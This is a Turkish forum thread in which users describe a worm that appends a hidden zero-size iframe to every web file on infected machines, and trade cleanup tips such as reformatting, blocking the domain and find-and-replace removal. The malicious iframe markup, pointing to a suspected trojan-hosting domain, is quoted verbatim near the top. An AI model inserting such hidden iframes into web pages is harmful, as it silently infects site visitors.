manyak bişi bu

Merhaba arkadaşlar
kullandığım pc lerden birine harbiden çok pis bir illet bulaştı.

php asp php3 aspx html aklınıza web alanında kullanılan ne tür dosya gelırse hepsının kodlarının sonuna

<iframe src="http://92981676.ee28.cn/htm/" width="0" height="0" scrolling="no" frameborder="0"></iframe> 

şeklinde kod koyuyor. frame verdiği sitede trojan var sanırım.Bu siteye gırenlerede bulaşıyor.Muhtemelen bende birinin sitesinden kaptım bunu.

Kötü tarafı internet explorer ve sistemi aşırı yavaşlatıyor.
Cpu load 90 a kadar tırmanıyor.

2 defa fdisk yaparak tüm diske format attım (antivirus yazılımda var) yinede bulaşıyor bi yerlerden.İllegal içerikli sitelerede girmedim.

Ne yapabiliriz? Şuan makınayı taratıyorum henüz birşey bulamadı.

trend micro sitesinde domain adı bir worm ile ilişkili.
ee28.cn - Google'da Ara

evet banada bulaşmıştı böyle bişey tüm asp php htm html dosyalarına iframe eklemişti anlayacağınız bütün arşiv tek tek kaldırmak imkansız bi programla kaldırmıştım ama virüsü bi türlü bulamadığımdan geri yerleşmişlerdi bende bütün disklere format attım çok kötü koymuştu 4 yıllık arşiv gitmişti bunun çaresini bulan olursa çok iyi olur çünkü çok illet bişey

Format attıktan sonra iframedeki siteyi yasaklı listesine ekledim Şuan için birşey yok ve benimde tüm arşivim gitti.

firefox a da etki ediyormu?

tüm arşivinize yazık olmuş..
wormu temizledikten sonra Advenced Find And Replace gibi bi programla tüm dosylarınızdaki bu kodu silseydiniz keşke.

Arşivi aslında 4 adet +- dvd-r ye çektim.Bir ara dediğiniz programla temizleme yaparım

bana bulaşmadıgına gore etmıo demekı